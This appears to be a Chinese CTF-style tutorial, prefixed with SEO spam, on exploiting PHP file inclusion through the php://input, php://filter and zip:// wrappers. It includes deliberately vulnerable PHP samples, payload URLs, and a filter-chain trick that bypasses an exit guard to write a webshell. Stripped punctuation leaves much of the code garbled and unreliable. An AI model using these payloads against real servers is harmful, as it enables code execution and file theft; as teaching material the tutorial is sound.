成都网站建设sntuu,html静态网站开发自我介绍,网站页面图片尺寸,怎么随便搞个网站一、PHP://INPUT 
php://input可以访问请求的原始数据的只读流#xff0c;将post请求的数据当作php代码执行。当传入的参数作为文件名打开时#xff0c;可以将参数设为php://input,同时post想设置的文件内容#xff0c;php执行时会将post内容当作文件内容。从而导致任意代码…一、PHP://INPUT 
php://input可以访问请求的原始数据的只读流将post请求的数据当作php代码执行。当传入的参数作为文件名打开时可以将参数设为php://input,同时post想设置的文件内容php执行时会将post内容当作文件内容。从而导致任意代码执行。 
meta charsetutf8
?php
error_reporting(0);
$file  $_GET[file];
if(stristr($file,php://filter) || stristr($file,zip://) || stristr($file,phar://) || stristr($file,data:)){exit(hacker!);
}
if($file){if ($file!http://www.baidu.com) echo tipsflag在当前目录的某个文件中;include($file);
}else{echo a href?filehttp://www.baidu.comclick go baidu/a;
}
? 
先访问这个页面 然后抓包进行上传并访问恶意代码可以看到phpinfo()已经执行 二、PHP://FILTER 
1基本使用 
php://filter可以获取指定文件源码。当它与包含函数结合时php://filter流会被当作php文件执行。所以我们一般对其进行编码让其不执行。从而导致任意文件读取。 
meta charsetutf8
?php
error_reporting(0);
$file  $_GET[file];
if(stristr($file,php://input) || stristr($file,zip://) || stristr($file,phar://) || stristr($file,data:)){exit(hacker!);
}
if($file){include($file);
}else{echo a href?fileflag.phptips/a;
}
? 
打开网页后看到 尝试payload?file://filter/readconvert.base64-encode/resourceflag.php得到一串base64字符解码得flag在flag.php源码中的注释里 解码拿到flag 拓展 
2巧用编码与解码 
$content在开头增加了exit过程导致即使我们成功写入一句话也执行不了这个过程在实战中十分常见通常出现在缓存、配置文件等等地方不允许用户直接访问的文件都会被加上if(!defined(xxx))exit;之类的限制。那么这种情况下如何绕过这个“死亡exit” 
幸运的是这里的$_POST[filename]是可以控制协议的我们即可使用 php://filter协议来施展魔法使用php://filter流的base64-decode方法将$content解码利用php base64_decode函数特性去除“死亡exit”。 
众所周知base64编码中只包含64个可打印字符而PHP在解码base64时遇到不在其中的字符时将会跳过这些字符仅将合法字符组成一个新的字符串进行解码。 
?php
$content  ?php exit; ?;
$content . $_POST[txt];
file_put_contents($_POST[filename], $content); 
所以当$content被加上了?php exit; ?以后我们可以使用 php://filter/writeconvert.base64-decode 来首先对其解码。在解码的过程中字符、?、;、、空格等一共有7个字符不符合base64编码的字符范围将被忽略所以最终被解码的字符仅有“phpexit”和我们传入的其他字符。 
“phpexit”一共7个字符因为base64算法解码时是4个byte一组所以给他增加1个“a”一共8个字符。这样phpexita被正常解码而后面我们传入的webshell的base64内容也被正常解码。结果就是?php exit; ?没有了。 
最后看到phpinfo上传了并且可以执行 3利用字符串操作方法 
这个php的代码格式很像XML格式可以看成是一个XML标签 
既然是XML标签我们就可以利用strip_tags函数去除它而php://filter刚好是支持这个方法的。 
如果这样的话那我们写的php一句话木马也会被消除咋办 
还好php://filter允许使用多个过滤器先将webshell进行base64编码完成XML过滤exit后在进行解码 
txtPD9waHAgcGhwaW5mbygpOyA/Pgfilenamephp://filter/writestring.strip_tags|convert.base64-decode/resourceshell.php 成功 
三、ZIP:// 
zip:// 可以访问压缩包里面的文件。当它与包含函数结合时zip://流会被当作php文件执行。从而实现任意代码执行。 zip://中只能传入绝对路径。  要用#分隔压缩包和压缩包里的内容并且#要用url编码%23即下述POC中#要用%23替换  只需要是zip的压缩包即可后缀名可以任意更改。  
//index.php
meta charsetutf8
?php
error_reporting(0);
$file  $_GET[file];
if (!$file) echo a href?fileuploadupload?/a;
if(stristr($file,input)||stristr($file, filter)||stristr($file,data)/*||stristr($file,phar)*/){echo hick?;exit();
}else{include($file..php);
}
?
!-- flag在当前目录的某个文件中 --
//upload.php
meta charsetutf-8
form actionupload.php methodpost enctypemultipart/form-data input typefile namefupload /input typesubmit valueupload! /
/form
you can upload jpg,png,zip....br /
?php
if( isset( $_FILES[fupload] ) ) {$uploaded_name  $_FILES[ fupload ][ name ];         //文件名$uploaded_ext   substr( $uploaded_name, strrpos( $uploaded_name, . )  1);   //文件后缀$uploaded_size  $_FILES[ fupload ][ size ];         //文件大小$uploaded_tmp   $_FILES[ fupload ][ tmp_name ];     // 存储在服务器的文件的临时副本的名称$target_path  uploads\\.md5(uniqid(rand()))...$uploaded_ext;if( ( strtolower( $uploaded_ext )  jpg || strtolower( $uploaded_ext )  jpeg || strtolower( $uploaded_ext )  png || strtolower( $uploaded_ext )  zip ) ( $uploaded_size  100000 ) ) {if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {// Noecho preupload error/pre;}else {// Yes!echo pre.dirname(__FILE__).\\{$target_path} succesfully uploaded!/pre;}}else {echo preyou can upload jpg,png,zip..../pre;}
}? 
payload : 
http://192.168.43.244/web4.php?filezip://D:\phpstudy_pro\WWW\uploads\16a354cde3065e5d1faf0af136c2620e.zip%23web.zip